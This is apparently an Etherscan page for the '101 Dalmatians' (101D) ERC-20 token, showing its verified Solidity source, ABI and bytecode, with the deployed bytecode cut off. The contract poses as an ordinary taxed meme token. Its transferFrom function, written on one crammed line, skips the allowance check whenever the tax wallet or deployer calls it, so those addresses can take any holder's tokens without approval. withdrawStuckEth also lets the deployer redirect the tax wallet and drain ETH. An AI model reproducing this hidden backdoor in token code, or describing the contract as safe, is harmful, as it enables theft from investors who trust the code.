ETH Price: $3,332.38 (+0.68%)
 

Overview

Max Total Supply

100,000,000 101D

Holders

88

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,144,198.71298091 101D

Value
$0.00
0x6ead35822021f8d3e2c3ac43259d2a61b4386584
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dalmatians

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-26
*/

// SPDX-License-Identifier: MIT

/**
    Website  : https://www.101dalmatians.fun
    Twitter  : https://x.com/101d_erc20
    Telegram : https://t.me/dalmatians101_erc
*/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Dalmatians is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address private deployer;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000  * 10**_decimals;
    string private constant _name = unicode"101 Dalmatians";
    string private constant _symbol = unicode"101D";
    uint256 public _maxTxAmount = 2_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 2_000_000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable{
        deployer = msg.sender;
        _taxWallet = payable(0x80DecFfedA97FE1AAf7D1a96df786dBEE34F6936);
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_msgSender() !=_taxWallet && _msgSender() != deployer)
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled ) {
                if(contractTokenBalance > 0)
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    sendETHToFee(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function withdrawStuckEth(address payable _wallet) external {
        require(msg.sender == deployer);_taxWallet = _wallet;
        payable(msg.sender).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"_wallet","type":"address"}],"name":"withdrawStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600655600a6007555f6008555f600955600a80556005600b555f600c556009600a61003191906102de565b61003e90621e84806102f3565b600d5561004d6009600a6102de565b61005a90621e84806102f3565b600e556100696009600a6102de565b61007690620f42406102f3565b600f556011805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03199081163317909155600480549091167380decffeda97fe1aaf7d1a96df786dbee34f69361790556101076009600a6102de565b610115906305f5e1006102f3565b305f90815260016020819052604082209290925560039061013d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556004549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101c46009600a6102de565b6101d2906305f5e1006102f3565b60405190815260200160405180910390a361030a565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561023657815f190482111561021c5761021c6101e8565b8085161561022957918102915b93841c9390800290610201565b509250929050565b5f8261024c575060016102d8565b8161025857505f6102d8565b816001811461026e576002811461027857610294565b60019150506102d8565b60ff841115610289576102896101e8565b50506001821b6102d8565b5060208310610133831016604e8410600b84101617156102b7575081810a6102d8565b6102c183836101fc565b805f19048211156102d4576102d46101e8565b0290505b92915050565b5f6102ec60ff84168361023e565b9392505050565b80820281158282048414176102d8576102d86101e8565b61177f806103175f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d5780638da5cb5b116100625780638da5cb5b146102f75780638f9a55c01461031357806395d89b4114610328578063a9059cbb14610354578063dd62ed3e14610373575f80fd5b8063715018a614610287578063751039fc1461029b5780637ca8448a146102af5780637d1db4a5146102ce5780638a8c523c146102e3575f80fd5b806323b872dd116100e357806323b872dd146101cc578063313ce567146101eb57806349bd5a5e1461020657806351bc3c851461023d57806370a0823114610253575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d3130312044616c6d617469616e7360901b60208201525b60405161015d9190611386565b60405180910390f35b348015610171575f80fd5b506101856101803660046113d2565b6103b7565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa600f5481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103cd565b3480156101d7575f80fd5b506101856101e63660046113fc565b6103ed565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b50601154610225906001600160a01b031681565b6040516001600160a01b03909116815260200161015d565b348015610248575f80fd5b50610251610491565b005b34801561025e575f80fd5b506101aa61026d36600461143a565b6001600160a01b03165f9081526001602052604090205490565b348015610292575f80fd5b506102516104e2565b3480156102a6575f80fd5b5061025161055c565b3480156102ba575f80fd5b506102516102c936600461143a565b61060d565b3480156102d9575f80fd5b506101aa600d5481565b3480156102ee575f80fd5b50610251610669565b348015610302575f80fd5b505f546001600160a01b0316610225565b34801561031e575f80fd5b506101aa600e5481565b348015610333575f80fd5b506040805180820190915260048152630c4c0c5160e21b6020820152610150565b34801561035f575f80fd5b5061018561036e3660046113d2565b610a12565b34801561037e575f80fd5b506101aa61038d366004611455565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c3338484610a1e565b5060015b92915050565b5f6103da6009600a611580565b6103e8906305f5e10061158e565b905090565b5f6103f9848484610b41565b6004546001600160a01b0316336001600160a01b03161415801561043157506005546001600160a01b0316336001600160a01b031614155b1561048757610487843361048285604051806060016040528060288152602001611722602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611002565b610a1e565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104b0575f80fd5b305f9081526001602052604090205480156104ce576104ce8161103a565b4780156104de576104de816111aa565b5050565b5f546001600160a01b031633146105145760405162461bcd60e51b815260040161050b906115a5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105855760405162461bcd60e51b815260040161050b906115a5565b6105916009600a611580565b61059f906305f5e10061158e565b600d556105ae6009600a611580565b6105bc906305f5e10061158e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ec6009600a611580565b6105fa906305f5e10061158e565b60405190815260200160405180910390a1565b6005546001600160a01b03163314610623575f80fd5b600480546001600160a01b0383166001600160a01b031990911617905560405133904780156108fc02915f818181858888f193505050501580156104de573d5f803e3d5ffd5b5f546001600160a01b031633146106925760405162461bcd60e51b815260040161050b906115a5565b601154600160a01b900460ff16156106ec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050b565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107359030906107276009600a611580565b610482906305f5e10061158e565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610785573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a991906115da565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610808573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082c91906115da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610876573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089a91906115da565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306108e1816001600160a01b03165f9081526001602052604090205490565b5f806108f45f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097f91906115f5565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f89190611620565b506011805462ff00ff60a01b19166201000160a01b179055565b5f6103c3338484610b41565b6001600160a01b038316610a805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050b565b6001600160a01b038216610ae15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050b565b6001600160a01b038216610c075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050b565b5f8111610c685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050b565b5f6001600160a01b0384163014801590610c8b57506001600160a01b0383163014155b15610ec557610cbc6064610cb6600a54600c5411610cab57600654610caf565b6008545b85906111e1565b90611266565b6011549091506001600160a01b038581169116148015610cea57506010546001600160a01b03848116911614155b8015610d0e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610df457600d54821115610d655760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050b565b600e5482610d87856001600160a01b03165f9081526001602052604090205490565b610d91919061163f565b1115610ddf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050b565b600c8054905f610dee83611652565b91905055505b6011546001600160a01b038481169116148015610e1a57506001600160a01b0384163014155b15610e4757610e446064610cb6600b54600c5411610e3a57600754610caf565b60095485906111e1565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610e7d57506011546001600160a01b038581169116145b8015610e925750601154600160b01b900460ff165b15610ec3578015610eba57610eba610eb584610eb084600f546112a7565b6112a7565b61103a565b610ec3476111aa565b505b8015610f3d57305f90815260016020526040902054610ee490826112bb565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f349085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f5f9083611319565b6001600160a01b0385165f90815260016020526040902055610fa2610f848383611319565b6001600160a01b0385165f90815260016020526040902054906112bb565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610feb8585611319565b60405190815260200160405180910390a350505050565b5f81848411156110255760405162461bcd60e51b815260040161050b9190611386565b505f611031848661166a565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110805761108061167d565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110fb91906115da565b8160018151811061110e5761110e61167d565b6001600160a01b0392831660209182029290920101526010546111349130911684610a1e565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116c9085905f90869030904290600401611691565b5f604051808303815f87803b158015611183575f80fd5b505af1158015611195573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104de573d5f803e3d5ffd5b5f825f036111f057505f6103c7565b5f6111fb838561158e565b9050826112088583611702565b1461125f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050b565b9392505050565b5f61125f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135a565b5f8183116112b5578261125f565b50919050565b5f806112c7838561163f565b90508381101561125f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050b565b5f61125f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611002565b5f818361137a5760405162461bcd60e51b815260040161050b9190611386565b505f6110318486611702565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146113cf575f80fd5b50565b5f80604083850312156113e3575f80fd5b82356113ee816113bb565b946020939093013593505050565b5f805f6060848603121561140e575f80fd5b8335611419816113bb565b92506020840135611429816113bb565b929592945050506040919091013590565b5f6020828403121561144a575f80fd5b813561125f816113bb565b5f8060408385031215611466575f80fd5b8235611471816113bb565b91506020830135611481816113bb565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156114da57815f19048211156114c0576114c061148c565b808516156114cd57918102915b93841c93908002906114a5565b509250929050565b5f826114f0575060016103c7565b816114fc57505f6103c7565b8160018114611512576002811461151c57611538565b60019150506103c7565b60ff84111561152d5761152d61148c565b50506001821b6103c7565b5060208310610133831016604e8410600b841016171561155b575081810a6103c7565b61156583836114a0565b805f19048211156115785761157861148c565b029392505050565b5f61125f60ff8416836114e2565b80820281158282048414176103c7576103c761148c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115ea575f80fd5b815161125f816113bb565b5f805f60608486031215611607575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611630575f80fd5b8151801515811461125f575f80fd5b808201808211156103c7576103c761148c565b5f600182016116635761166361148c565b5060010190565b818103818111156103c7576103c761148c565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116e15784516001600160a01b0316835293830193918301916001016116bc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261171c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205abc17513c72520a79df36b78d4ce9dd975be8830e23052b666b161a4e04855164736f6c63430008190033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063715018a61161009d5780638da5cb5b116100625780638da5cb5b146102f75780638f9a55c01461031357806395d89b4114610328578063a9059cbb14610354578063dd62ed3e14610373575f80fd5b8063715018a614610287578063751039fc1461029b5780637ca8448a146102af5780637d1db4a5146102ce5780638a8c523c146102e3575f80fd5b806323b872dd116100e357806323b872dd146101cc578063313ce567146101eb57806349bd5a5e1461020657806351bc3c851461023d57806370a0823114610253575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d3130312044616c6d617469616e7360901b60208201525b60405161015d9190611386565b60405180910390f35b348015610171575f80fd5b506101856101803660046113d2565b6103b7565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa600f5481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103cd565b3480156101d7575f80fd5b506101856101e63660046113fc565b6103ed565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b50601154610225906001600160a01b031681565b6040516001600160a01b03909116815260200161015d565b348015610248575f80fd5b50610251610491565b005b34801561025e575f80fd5b506101aa61026d36600461143a565b6001600160a01b03165f9081526001602052604090205490565b348015610292575f80fd5b506102516104e2565b3480156102a6575f80fd5b5061025161055c565b3480156102ba575f80fd5b506102516102c936600461143a565b61060d565b3480156102d9575f80fd5b506101aa600d5481565b3480156102ee575f80fd5b50610251610669565b348015610302575f80fd5b505f546001600160a01b0316610225565b34801561031e575f80fd5b506101aa600e5481565b348015610333575f80fd5b506040805180820190915260048152630c4c0c5160e21b6020820152610150565b34801561035f575f80fd5b5061018561036e3660046113d2565b610a12565b34801561037e575f80fd5b506101aa61038d366004611455565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c3338484610a1e565b5060015b92915050565b5f6103da6009600a611580565b6103e8906305f5e10061158e565b905090565b5f6103f9848484610b41565b6004546001600160a01b0316336001600160a01b03161415801561043157506005546001600160a01b0316336001600160a01b031614155b1561048757610487843361048285604051806060016040528060288152602001611722602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611002565b610a1e565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104b0575f80fd5b305f9081526001602052604090205480156104ce576104ce8161103a565b4780156104de576104de816111aa565b5050565b5f546001600160a01b031633146105145760405162461bcd60e51b815260040161050b906115a5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105855760405162461bcd60e51b815260040161050b906115a5565b6105916009600a611580565b61059f906305f5e10061158e565b600d556105ae6009600a611580565b6105bc906305f5e10061158e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ec6009600a611580565b6105fa906305f5e10061158e565b60405190815260200160405180910390a1565b6005546001600160a01b03163314610623575f80fd5b600480546001600160a01b0383166001600160a01b031990911617905560405133904780156108fc02915f818181858888f193505050501580156104de573d5f803e3d5ffd5b5f546001600160a01b031633146106925760405162461bcd60e51b815260040161050b906115a5565b601154600160a01b900460ff16156106ec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050b565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107359030906107276009600a611580565b610482906305f5e10061158e565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610785573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a991906115da565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610808573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082c91906115da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610876573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089a91906115da565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306108e1816001600160a01b03165f9081526001602052604090205490565b5f806108f45f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097f91906115f5565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f89190611620565b506011805462ff00ff60a01b19166201000160a01b179055565b5f6103c3338484610b41565b6001600160a01b038316610a805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050b565b6001600160a01b